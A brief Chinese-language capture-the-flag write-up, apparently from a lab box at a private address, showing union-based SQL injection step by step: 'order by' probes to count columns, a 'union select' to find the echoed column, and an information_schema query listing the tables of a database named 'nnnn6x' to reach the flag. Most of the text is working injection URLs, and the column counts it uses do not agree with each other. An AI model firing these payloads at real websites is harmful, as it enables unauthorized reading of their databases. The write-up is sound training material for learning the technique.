先探测准确列数,我用hackbar比较方便 总之
http://192.168.243.130:32794/?id=9%27%20order%20by%201%20–%20
http://192.168.243.130:32794/?id=9%27%20order%20by%202%20–%20
http://192.168.243.130:32794/?id=9%27%20order%20by%203%20–%20
持续增大数字,出现列数错误时,上一个数字就是总列数。
确认回显位以4列为例子
?id=9′ union select 1,2,3,4 —
password位置出现数字,代表第2列可以输出 得到数据库名字
比如数据库名称为nnnn6x
http://192.168.243.130:32794/?id=9%27%20union%20select%201,table_name,3,4,5,6,7%20from%20information_schema.tables%20where%20table_schema=%27nnnn6x%27%20–%20
http://192.168.243.130:32794/返回的表名
打开文件拿到flag